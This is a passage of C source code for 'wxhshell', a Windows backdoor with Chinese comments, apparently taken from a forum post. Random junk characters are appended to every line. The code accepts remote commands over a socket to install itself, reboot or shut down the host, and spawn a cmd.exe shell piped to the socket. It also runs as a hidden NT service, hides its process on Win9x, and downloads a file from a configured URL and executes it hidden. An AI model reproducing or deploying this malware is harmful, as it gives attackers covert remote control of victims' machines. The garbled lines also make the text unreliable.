  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /FTP8XHwL)  
  } }5" Rj<  
  else { #( 4)ps.  
KxmB$x5-=8  
    switch(cmd[0]) { p&XuNk  
  JvT#Fxjk  
  // 帮助 @(/$;I,  
  case '?': { vEt=enQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xa}y.qH  
    break; FzsW^u+  
  } bneP>Bd  
  // 安装 Ki :98a$  
  case 'i': { F9_X^#%L  
    if(Install()) '&AeOn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F%ukT6xp  
    else A9HgABhax  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U z)G Y  
    break; r_^]5C\  
    } QSYKYgxC  
  // 卸载 @MH/e fW.  
  case 'r': { #R= 6$  
    if(Uninstall()) O[}2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0oyZlv*  
    else >tkU+$;-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *q1sM#;5  
    break; o2y #Yk  
    } yrMakT=  
  // 显示 wxhshell 所在路径 q={3fm  
  case 'p': { (aq^\#9btO  
    char svExeFile[MAX_PATH]; v Dph}Z  
    strcpy(svExeFile,"\n\r"); rYyEs I#qo  
      strcat(svExeFile,ExeFile); y5V]uQSD  
        send(wsh,svExeFile,strlen(svExeFile),0); 44hz,  
    break; }?d l.=eq  
    } xe1xP@e?  
  // 重启 SI l<\  
  case 'b': { {<^PYN>`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %X\rP,  
    if(Boot(REBOOT)) J}&xS<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :B_ itl0{e  
    else { A.S:eQvS%  
    closesocket(wsh); 9fb"R"(M  
    ExitThread(0); pdR&2fp  
    } '"Dgov$q  
    break; r`=!4vY2  
    } ]?2&d[  
  // 关机 -}<W|r  
  case 'd': { ki_Py5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ll6|WhX  
    if(Boot(SHUTDOWN)) kF *^" Cn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]1b3 9O  
    else { @GR|co  
    closesocket(wsh); 6t6#<ts  
    ExitThread(0); @k2nID^>  
    } 0~N2MoOl^  
    break; bQ2 '*T  
    } K1Wiiw  
  // 获取shell JS1''^G&.  
  case 's': { VFwp .1oa!  
    CmdShell(wsh); h3Z0NJ=xM  
    closesocket(wsh); \XlT  
    ExitThread(0); R`|GBVbv  
    break; U.QjB0;  
  } :<Y, f(c  
  // 退出 0 /JusQ  
  case 'x': { "S@%d(lg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZMXIKN9BF#  
    CloseIt(wsh); 6rOd80\  
    break; W.u}Q@  
    } ;M"JN:J8  
  // 离开 ]\<^rEU  
  case 'q': { _(s|@UT#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aE( j_`L78  
    closesocket(wsh); cvvba 60  
    WSACleanup(); EsU-Ckb_2:  
    exit(1); g2v 0!  
    break; ZVj/lOP X  
        } 'e;]\< 0z  
  } +Q3i&"QB.  
  } 2\M^ _x$N  
r-s.i+\  
  // 提示信息 \ueo^p]_?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |BGQ|7DyG  
} tTB,eR$  
  } OFTyN^([@  
#?Z>o16,u  
  return; tN=B9bm3j  
} CD'.bFO^+T  
tB_GEt2M  
// shell模块句柄 wtCz%!OYB  
int CmdShell(SOCKET sock) Ap{p_~~iJ  
{ )V<ML7_?  
STARTUPINFO si; >M\3tB2C  
ZeroMemory(&si,sizeof(si)); fWKI~/eUY|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tk@ T-;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mX9amS&B$  
PROCESS_INFORMATION ProcessInfo; @Q;%hb  
char cmdline[]="cmd"; +,&8U&~`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qx-/t9`!Z  
  return 0; _s/ 5oRHA  
} ab5 a>w6}  
5J^S-K^r  
// 自身启动模式 0>?%{Xy  
int StartFromService(void) x78`dX  
{ (,wIbwa  
typedef struct A{Jp>15AVg  
{ 7cTDbc!E-  
  DWORD ExitStatus; YL_M=h>P  
  DWORD PebBaseAddress; nm)H\i  
  DWORD AffinityMask; kQ5mIJ9(  
  DWORD BasePriority; PT7-_r  
  ULONG UniqueProcessId; ztcV[{[g  
  ULONG InheritedFromUniqueProcessId; Cku#[?G  
}   PROCESS_BASIC_INFORMATION; &eL02:[  
e5/f%4YX  
PROCNTQSIP NtQueryInformationProcess; }w{ 6Ua  
!7C[\No(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cI~uI '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .g L%0  
F7!g+LPc<  
  HANDLE             hProcess; f;AQw_{  
  PROCESS_BASIC_INFORMATION pbi; iI|mFc|V  
ZG29q>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~:`5Y"Av:  
  if(NULL == hInst ) return 0; } + ]A?'&  
cR'l\iv+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); or~2r8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (X=JT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {k CCpU  
1:!_AU?  
  if (!NtQueryInformationProcess) return 0; gEghDO_G  
RLy(Wz3%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z TYHwx  
  if(!hProcess) return 0; b`a4SfbQS  
SlU?,)J}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gw!VPFV>W  
tB S+?N  
  CloseHandle(hProcess); 8DAHaS;  
;a"g<v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >6Y @8 )  
if(hProcess==NULL) return 0; bSa%?laS  
]ySm|&aU  
HMODULE hMod; /e/%mo  
char procName[255]; LxdF;JCz:  
unsigned long cbNeeded; 73Zx`00  
Q]/ZVcoqo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p.wed% O.  
,7HlYPec  
  CloseHandle(hProcess); 7:[u.cd  
I /2{I  
if(strstr(procName,"services")) return 1; // 以服务启动 #:B14E  
Dq07Z^#'  
  return 0; // 注册表启动 Q$Q>pV;uH  
} d- X6yRjnj  
~F [V  
// 主模块 +56N}MAs  
int StartWxhshell(LPSTR lpCmdLine) hFMJDGCw>Q  
{ NUO#[7OK+x  
  SOCKET wsl; PHAM(iC&D  
BOOL val=TRUE; (YV]T!q  
  int port=0; YCPU84f  
  struct sockaddr_in door; Ew< sK9[o  
^X]rFY1  
  if(wscfg.ws_autoins) Install(); $^TxLv  
%I^schE*  
port=atoi(lpCmdLine); *x!j:/S`n  
14~#k%zO(  
if(port<=0) port=wscfg.ws_port; H*.v*ro9_  
G;ihm$Cad  
  WSADATA data; R|m!*B~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F ,;B  
:$=]*54`T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /wi*OZ7R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2%?Kc]JY9  
  door.sin_family = AF_INET; Lo<WK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d[F3"b%  
  door.sin_port = htons(port); 7_9^nDU  
ZGw 6Bd_I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i}L*PCP  
closesocket(wsl); u5.zckV  
return 1; M!`&Z9N  
} n-he|u  
g_3Ozy  
  if(listen(wsl,2) == INVALID_SOCKET) { WCYVonbg"  
closesocket(wsl); Ofc u4pi  
return 1; +ovT?CM o  
} `.g'bZ<v/  
  Wxhshell(wsl); 6/.kL;AI  
  WSACleanup(); W %1/: _  
)GfL?'Z  
return 0; %0zp`'3Y  
q%/\  
} uovSe4q5q  
k5|GN Y6a  
// 以NT服务方式启动 M4n0GWHLy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sk5B} -  
{ pwv mb\  
DWORD   status = 0; 0Q~\1D 9g  
  DWORD   specificError = 0xfffffff; ~J0r%P  
Elt" tJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gSHN,8. `  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -nZDFC8y$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N[I ?x5:u  
  serviceStatus.dwWin32ExitCode     = 0; uvRX{q 4  
  serviceStatus.dwServiceSpecificExitCode = 0; F;MACu;x  
  serviceStatus.dwCheckPoint       = 0; H~?7 : K  
  serviceStatus.dwWaitHint       = 0; ?r}2JHvN  
vs{VRc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); On(.(7sNc  
  if (hServiceStatusHandle==0) return; 6n\){dkZ~  
g'9~T8i& ^  
status = GetLastError(); qN^]`M[ BY  
  if (status!=NO_ERROR) FP")$ ,=s  
{ l>6p')F!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n0)y|B#  
    serviceStatus.dwCheckPoint       = 0; xP 7mP+D  
    serviceStatus.dwWaitHint       = 0; ~"Su2{"8B  
    serviceStatus.dwWin32ExitCode     = status; /GF"D5  
    serviceStatus.dwServiceSpecificExitCode = specificError; bduHYs+rq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LlD=c  
    return; " eS-i@  
  } 4j(*%da  
94?/Rhs5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7HJH9@8V  
  serviceStatus.dwCheckPoint       = 0; _z\qtl~3  
  serviceStatus.dwWaitHint       = 0; a :CeI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d>0 j!+s  
} J&L#^f*d  
u63Q<P<  
// 处理NT服务事件,比如:启动、停止 U^Iq]L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qykI[4  
{ \Hu?K\SWs  
switch(fdwControl) @>F`;'_*z  
{ P!!:p2fo  
case SERVICE_CONTROL_STOP: k;<F33v;Mh  
  serviceStatus.dwWin32ExitCode = 0; +D?Re%HI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]sqp^tQ`e  
  serviceStatus.dwCheckPoint   = 0; PI)uBA;  
  serviceStatus.dwWaitHint     = 0; i x_a  
  { $gdGII&n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^oEaE#I  
  } b{,vZhP-  
  return; 1#x@  
case SERVICE_CONTROL_PAUSE: R4XcWx*pQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h: zi8;(  
  break; R7Ns5s3X  
case SERVICE_CONTROL_CONTINUE: qX]ej 2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lAAPV  
  break; _mDvRFq  
case SERVICE_CONTROL_INTERROGATE: Y|<1|wGG  
  break; 'D?sRbJ=  
}; mZ.E;X& ,*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9!wm`'G8  
} 7T?7KS  
=@k 3*#\  
// 标准应用程序主函数 9|hPl-. .W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )Ju$PrO  
{ cKAZWON8;v  
ntF#x.1Pm  
// 获取操作系统版本 "HbrYYRb'  
OsIsNt=GetOsVer(); uzLIllVX*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BYs^?IfW  
[mQ*];GA  
  // 从命令行安装 :w4I+* ]  
  if(strpbrk(lpCmdLine,"iI")) Install(); D 3}e{J8  
1I U*:Z;Rz  
  // 下载执行文件 :6frx=<  
if(wscfg.ws_downexe) { ,DbT4Ul c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l7GLN1#m  
  WinExec(wscfg.ws_filenam,SW_HIDE); I\ y>I?X  
} 3yIC@>&y(8  
0}aw9g  
if(!OsIsNt) { a<{+ J U5  
// 如果时win9x,隐藏进程并且设置为注册表启动 w5}2$r  
HideProc(); Hy1f,D  
StartWxhshell(lpCmdLine);  ?ik6kWI  
} JY@x.?N5$  
else `!g XA.9Uv  
  if(StartFromService()) ,h$j%->U  
  // 以服务方式启动 qxglA*/ [  
  StartServiceCtrlDispatcher(DispatchTable); XWFuAE  
else h3:dO|Z  
  // 普通方式启动 (6\ H~  
  StartWxhshell(lpCmdLine); 5VPP 2;J  
^<O:`c6_  
return 0; ~0@+8%^>;  
}
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只看该作者 1 发表于: 2006-10-10
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